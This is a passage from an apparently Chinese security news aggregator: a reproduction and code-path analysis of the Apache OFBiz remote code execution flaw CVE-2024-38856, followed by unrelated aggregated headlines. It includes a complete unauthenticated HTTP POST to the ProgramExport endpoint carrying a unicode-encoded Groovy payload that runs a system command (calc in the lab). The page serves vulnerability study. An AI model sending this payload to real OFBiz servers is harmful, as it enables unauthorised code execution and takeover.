Aggregator
Apache OFBiz远程代码执行漏洞(CVE-2024-38856)
Apache OFBiz 是一个开源的企业资源规划系统,提供了一整套企业管理解决方案,涵盖了许多领域,包括财务管理、供应链管理、客户关系管理、人力资源管理和电子商务等。Apache OFBiz 基于 Java 开发,采用灵活的架构和模块化设计,使其可以根据企业的需求进行定制和扩展,它具有强大的功能和可扩展性,适用于中小型企业和大型企业,帮助他们提高效率,降低成本,并实现业务流程的自动化和优化。Apache OFBiz 在处理 view 视图渲染的时候存在逻辑缺陷,未经身份验证的攻击者可通过构造特殊 URL 来覆盖最终的渲染视图,从而执行任意代码。
影响版本
Apache OFBiz <\= 18.12.14
漏洞复现https://github.com/apache/ofbiz-framework/releases/tag/release18.12.14
下载代码链接 https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.14
下载后利用 idea 打开并编译运行
构造发送数据包
POST /webtools/control/main/ProgramExport HTTP/1.1Host: 127.0.0.1:8443
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
成功执行打开计算器的命令
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u006c\u0063\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b 是 throw new Exception('calc'.execute().text); 进行编码后的数据
applications\accounting\webapp\accounting\WEB-INF\web.xml
org.apache.ofbiz.webapp.control.ControlServlet 会处理所有以/control/开头的路由
org.apache.ofbiz.webapp.control.ControlServlet#doPost
doPost 方法转换为 doGet 请求
org.apache.ofbiz.webapp.control.ControlServlet#doGet
利用 RequestHandler 来处理请求
org.apache.ofbiz.webapp.control.RequestHandler#doRequest
在 RequestHandler#doRequest 中依次获取路由相关参数
org.apache.ofbiz.base.util.UtilHttp#getApplicationName
org.apache.ofbiz.webapp.control.RequestHandler#getRequestUri
org.apache.ofbiz.webapp.control.RequestHandler#getOverrideViewUri
依次获取到与路由相关的参数后,调用 resolveURI 返回路由对应的配置信息
org.apache.ofbiz.webapp.control.RequestHandler#resolveURI
这里对应的是
framework/webtools/webapp/webtools/WEB-INF/controller.xml
对应的 /webtools/control/main/ 不需要认证,所以可以继续向下执行
通过success获取到返回值的数据赋值给successResponse,然后传递给nextRequestResponse
else if ("view".equals(nextRequestResponse.type)) {if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);
// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}
在overrideViewUri 非空且 eventReturn 为 null 或 "success" 的情况下,将 viewName 设置为 overrideViewUri。否则将 viewName 设置为 nextRequestResponse.value。
这里请求的路径为 /main/ProgramExport 造成 view 的解析冲突,会进入到 ProgramExport 这个业务中 ,renderView 方法会解析与ProgramExport对应的请求
framework/webtools/widget/EntityScreens.xml
framework/webtools/groovyScripts/entity/ProgramExport.groovy
Apache OFBiz远程代码执行漏洞(CVE-2024-38856)
深圳市医疗保障政务服务在线办理地址链接汇总
New Web App Lets Researchers Test and Rank Language AI Tools in Real Time
再获肯定!CACTER邮件安全网关入选2024年度首期“磐安”优秀案例
再获肯定!CACTER邮件安全网关入选2024年度首期“磐安”优秀案例
CVE-2021-43936 | Distributed Data Systems WebHMI 4.0 Portal unrestricted upload (icsa-21-336-03 / EDB-50589)
CVE-2024-41592 vigor 栈溢出漏洞分析
Volkswagen в центре скандала: координаты сотен тысяч электромобилей оказались в руках хакеров
CVE-2020-11804 | TitanHQ SpamTitan 7.07 mailqueue.php quid input validation (EDB-48817)
DeepSeek 称其新模型只花了 550 万美元训练
DeepSeek 称其新模型只花了 550 万美元训练
Microsoft Warns of Windows 11 24H2 Issue that Blocks Windows Security Updates
Microsoft has issued a warning about a significant issue impacting devices running Windows 11, version 24H2, that could block essential Windows Security updates. The problem arises when users install this version of the operating system using media—such as CDs or USB drives—containing either the October 2024 or November 2024 security updates. If affected, devices may […]
The post Microsoft Warns of Windows 11 24H2 Issue that Blocks Windows Security Updates appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.